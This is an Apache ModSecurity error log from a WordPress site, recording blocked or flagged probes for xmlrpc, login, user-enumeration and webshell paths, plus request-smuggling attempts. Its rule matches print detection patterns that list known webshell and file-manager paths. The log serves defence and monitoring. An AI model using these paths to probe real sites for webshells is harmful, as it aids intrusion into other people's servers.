[Sat Jan 03 05:11:37.492727 2026] [:error] [pid 34260:tid 34281] [client 34.76.49.192:64165] [client 34.76.49.192] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.76.49.192, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVg0iUWWhyvZ0O9KNVSZmgAAARM"]
[Sat Jan 03 05:39:41.486307 2026] [:error] [pid 34260:tid 34277] [client 4.217.184.154:34149] [client 4.217.184.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.217.184.154, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVg7HUWWhyvZ0O9KNVSsFAAAAQ8"], referer: https://duckduckgo.com/
[Sat Jan 03 05:40:04.885049 2026] [autoindex:error] [pid 34260:tid 34262] [client 4.217.184.154:34149] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Sat Jan 03 05:40:15.834265 2026] [:error] [pid 34260:tid 34263] [client 4.217.184.154:34159] [client 4.217.184.154] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.217.184.154, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVg7P0WWhyvZ0O9KNVSsYAAAAQE"], referer: https://www.google.fr/
[Sat Jan 03 05:40:29.818876 2026] [autoindex:error] [pid 34260:tid 34264] [client 4.217.184.154:34159] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Sat Jan 03 05:40:33.420004 2026] [autoindex:error] [pid 34260:tid 34266] [client 4.217.184.154:34159] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Sat Jan 03 05:40:33.554791 2026] [:error] [pid 34260:tid 34269] [client 4.217.184.154:34149] [client 4.217.184.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aVg7UUWWhyvZ0O9KNVStBwAAAQc"], referer: https://www.google.co.uk/
[Sat Jan 03 05:40:33.825254 2026] [:error] [pid 34260:tid 34282] [client 4.217.184.154:34166] [client 4.217.184.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/fields/index.php"] [unique_id "aVg7UUWWhyvZ0O9KNVStCAAAARQ"], referer: https://www.google.de/
[Sat Jan 03 05:40:34.099598 2026] [:error] [pid 1929:tid 1958] [client 4.217.184.154:34172] [client 4.217.184.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aVg7UucFqdpu6TNsuWrcOAAAABQ"], referer: https://www.google.com/
[Sat Jan 03 05:40:34.369134 2026] [:error] [pid 2083:tid 2086] [client 4.217.184.154:34148] [client 4.217.184.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "aVg7UjVlR_BmlMPnhV7SfAAAAME"], referer: https://www.bing.com/
[Sat Jan 03 09:01:34.096821 2026] [:error] [pid 2083:tid 2096] [client 43.152.72.247:57808] [client 43.152.72.247] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aVhqbjVlR_BmlMPnhV49AAAAAMs"]
[Sat Jan 03 12:28:54.332921 2026] [proxy_fcgi:error] [pid 2083:tid 2092] [client 103.4.122.14:43208] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query insert into wp_wfstatus (ctime, level, type, msg) values ('1767414534.290442', 2, 'error', 'Error finishing writing value for wfsd_engine (MySQLi error: [1206] The total number of locks exceeds the lock table size)') made by do_action('wp_ajax_nopriv_wordfence_doScan'), WP_Hook->do_action, WP_Hook->apply_filters, wordfence::ajax_doScan_callback, wfScan::wfScanMain, wfScanEngine->go, wfScanEngine->doScan, wfScanEngine->scan_fileContents_main, wordfenceScanner->scan, wfScanEngine->fork, wfConfig::set_ser, wordfence::status, wfLog->addStatus, wfDB->queryWrite'
[Sat Jan 03 17:02:44.977177 2026] [:error] [pid 31630:tid 31655] [client 31.171.152.139:7320] [client 31.171.152.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:\\\\n|\\\\r)+(?:get|post|head|options|connect|put|delete|trace|propfind|propatch|mkcol|copy|move|lock|unlock)\\\\s+" at MATCHED_VAR. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "137"] [id "217280"] [rev "6"] [msg "COMODO WAF: HTTP Request Smuggling Attack||vetstars.com.au|F|2"] [data "Matched Data: get found within MATCHED_VAR"] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aVjbNPUV_PU2SWgLPugaJQAAAZc"], referer: https://vetstars.com.au/appointment/
[Sat Jan 03 19:42:08.139234 2026] [:error] [pid 2083:tid 2096] [client 124.156.157.91:50176] [client 124.156.157.91] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aVkAkDVlR_BmlMPnhV76mgAAAMs"]
[Sun Jan 04 04:26:53.444126 2026] [:error] [pid 37537:tid 37595] [client 91.92.242.178:35520] [client 91.92.242.178] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aVl7jQjHz7EQ5p_4u2pKYgAAAFY"]
[Sun Jan 04 04:47:50.406563 2026] [:error] [pid 37536:tid 37546] [client 120.71.59.24:59783] [client 120.71.59.24] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aVmAdm-iKLialy_3rkvkPAAAAAY"]
[Sun Jan 04 04:54:35.888621 2026] [:error] [pid 37538:tid 37602] [client 43.166.136.153:34640] [client 43.166.136.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aVmCC4zU2j98LiSLQvQ-tQAAAII"]
[Sun Jan 04 09:08:34.420644 2026] [:error] [pid 19828:tid 19902] [client 52.167.144.238:56236] [client 52.167.144.238] ModSecurity: Access denied with code 403 (phase 2). Invalid URL Encoding: Non-hexadecimal digits used at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "82"] [id "210381"] [rev "6"] [msg "COMODO WAF: URL Encoding Abuse Attack Attempt||vetstars.com.au|F|4"] [data "REQUEST_URI=/@\\x01!*%g-\\x15.aspx"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/@\\x01!*%g-\\x15.aspx"] [unique_id "aVm9kiIu6sBx2iEOTj40hQAAA4k"]
[Sun Jan 04 11:03:21.084418 2026] [:error] [pid 42536:tid 42550] [client 43.166.251.233:56740] [client 43.166.251.233] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aVnYeeECS6fgGX8kH4RgHAAAAUs"]
[Sun Jan 04 15:02:03.921811 2026] [:error] [pid 59250:tid 59267] [client 188.68.49.235:13282] [client 188.68.49.235] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.68.49.235, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVoQa_PJ-KGeNWdqpuc6MgAAAMw"], referer: https://vetstars.com.au/xmlrpc.php?rsd
[Sun Jan 04 15:02:17.882792 2026] [:error] [pid 59250:tid 59258] [client 170.106.165.186:50798] [client 170.106.165.186] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aVoQefPJ-KGeNWdqpuc6OAAAAMM"]
[Sun Jan 04 17:10:58.866912 2026] [:error] [pid 4426:tid 4451] [client 223.15.245.170:45325] [client 223.15.245.170] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aVouopAfkrNbrfBUY5VANgAAAlU"]
[Sun Jan 04 17:47:56.589098 2026] [autoindex:error] [pid 4427:tid 4464] [client 138.197.13.155:62175] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Jan 04 18:19:19.856050 2026] [:error] [pid 1020:tid 1032] [client 35.236.209.160:55139] [client 35.236.209.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.236.209.160, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVo-p1zz6-t0R3_Ito08FAAAAUk"]
[Sun Jan 04 18:19:22.608084 2026] [:error] [pid 1020:tid 1025] [client 35.236.209.160:55139] [client 35.236.209.160] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aVo-qlzz6-t0R3_Ito08FwAAAUI"]
[Sun Jan 04 18:19:24.700764 2026] [:error] [pid 1020:tid 1046] [client 35.236.209.160:55139] [client 35.236.209.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.236.209.160, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVo-rFzz6-t0R3_Ito08IQAAAVc"]
[Sun Jan 04 18:46:42.593316 2026] [:error] [pid 50418:tid 50438] [client 4.217.232.248:23052] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oo.php"] [unique_id "aVpFEhuiZ6RPOP-rMN9MuQAAABI"]
[Sun Jan 04 18:46:45.386920 2026] [:error] [pid 47095:tid 47146] [client 4.217.232.248:24285] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oo.php"] [unique_id "aVpFFb4vyPZCmfGyjmp0CgAAAdY"]
[Sun Jan 04 18:46:46.882636 2026] [:error] [pid 51330:tid 51396] [client 4.217.232.248:11861] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oo.php"] [unique_id "aVpFFuFdI_-MPvhtGkmNkQAAA4k"]
[Sun Jan 04 18:46:47.922116 2026] [:error] [pid 51330:tid 51394] [client 4.217.232.248:24264] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oo.php"] [unique_id "aVpFF-FdI_-MPvhtGkmNlwAAA4c"]
[Sun Jan 04 18:46:52.893577 2026] [:error] [pid 51238:tid 51245] [client 4.217.232.248:41471] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s11.php"] [unique_id "aVpFHCTcdgLoN6wImqeKagAAAkU"]
[Sun Jan 04 18:46:57.009168 2026] [:error] [pid 47943:tid 47981] [client 4.217.232.248:41425] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s11.php"] [unique_id "aVpFIb2PMvm86Oe91S9RkgAAAgk"]
[Sun Jan 04 18:46:59.669908 2026] [:error] [pid 50418:tid 50428] [client 4.217.232.248:11844] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s11.php"] [unique_id "aVpFIxuiZ6RPOP-rMN9MwgAAAAg"]
[Sun Jan 04 18:47:05.430180 2026] [:error] [pid 1080:tid 1146] [client 4.217.232.248:29609] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dir.php"] [unique_id "aVpFKSu2Hm9AcIiqg0q_nAAAA8c"]
[Sun Jan 04 18:47:06.807372 2026] [:error] [pid 47943:tid 47983] [client 4.217.232.248:29570] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dir.php"] [unique_id "aVpFKr2PMvm86Oe91S9RmwAAAgs"]
[Sun Jan 04 18:47:07.988426 2026] [:error] [pid 47094:tid 47104] [client 4.217.232.248:11868] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dir.php"] [unique_id "aVpFK-AxKgshwhlDnPMwlQAAAQc"]
[Sun Jan 04 18:47:09.753487 2026] [:error] [pid 47094:tid 47105] [client 4.217.232.248:24686] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dir.php"] [unique_id "aVpFLeAxKgshwhlDnPMwmAAAAQg"]
[Sun Jan 04 18:47:10.365196 2026] [:error] [pid 15480:tid 15505] [client 4.217.232.248:29572] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aqw.php"] [unique_id "aVpFLhBWKIu3SdvwTFiniwAAAJc"]
[Sun Jan 04 18:47:11.282324 2026] [:error] [pid 51328:tid 51337] [client 4.217.232.248:41999] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aqw.php"] [unique_id "aVpFLyMWRuZOO8ezt_39YAAAAwQ"]
[Sun Jan 04 18:47:12.474785 2026] [:error] [pid 51330:tid 51395] [client 4.217.232.248:34609] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aqw.php"] [unique_id "aVpFMOFdI_-MPvhtGkmNtAAAA4g"]
[Sun Jan 04 18:47:14.526313 2026] [:error] [pid 51238:tid 51244] [client 4.217.232.248:29507] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aqw.php"] [unique_id "aVpFMiTcdgLoN6wImqeKdgAAAkQ"]
[Sun Jan 04 18:47:15.832894 2026] [:error] [pid 47094:tid 47117] [client 4.217.232.248:29607] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ca1.php"] [unique_id "aVpFM-AxKgshwhlDnPMwnQAAARQ"]
[Sun Jan 04 18:47:17.133489 2026] [:error] [pid 47943:tid 47990] [client 4.217.232.248:42061] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ca1.php"] [unique_id "aVpFNb2PMvm86Oe91S9RpwAAAhI"]
[Sun Jan 04 18:47:18.492010 2026] [:error] [pid 51328:tid 51349] [client 4.217.232.248:42021] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ca1.php"] [unique_id "aVpFNiMWRuZOO8ezt_39cAAAAxA"]
[Sun Jan 04 18:47:19.829743 2026] [:error] [pid 1080:tid 1140] [client 4.217.232.248:34560] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ca1.php"] [unique_id "aVpFNyu2Hm9AcIiqg0q_rwAAA8E"]
[Sun Jan 04 18:47:21.498336 2026] [:error] [pid 51271:tid 51285] [client 4.217.232.248:24676] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file51.php"] [unique_id "aVpFOU6lEeK0FXEoMJkYigAAAos"]
[Sun Jan 04 18:47:22.378959 2026] [:error] [pid 1080:tid 1152] [client 4.217.232.248:29536] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file51.php"] [unique_id "aVpFOiu2Hm9AcIiqg0q_tQAAA80"]
[Sun Jan 04 18:47:23.744925 2026] [:error] [pid 51328:tid 51355] [client 4.217.232.248:34580] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file51.php"] [unique_id "aVpFOyMWRuZOO8ezt_39eQAAAxY"]
[Sun Jan 04 18:47:26.032586 2026] [:error] [pid 51271:tid 51277] [client 4.217.232.248:42085] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file51.php"] [unique_id "aVpFPk6lEeK0FXEoMJkYlAAAAoM"]
[Sun Jan 04 18:47:27.265798 2026] [:error] [pid 51330:tid 51411] [client 4.217.232.248:11499] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abouta.php"] [unique_id "aVpFP-FdI_-MPvhtGkmN1wAAA5g"]
[Sun Jan 04 18:47:31.588640 2026] [:error] [pid 51271:tid 51289] [client 4.217.232.248:42005] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abouta.php"] [unique_id "aVpFQ06lEeK0FXEoMJkYnwAAAo8"]
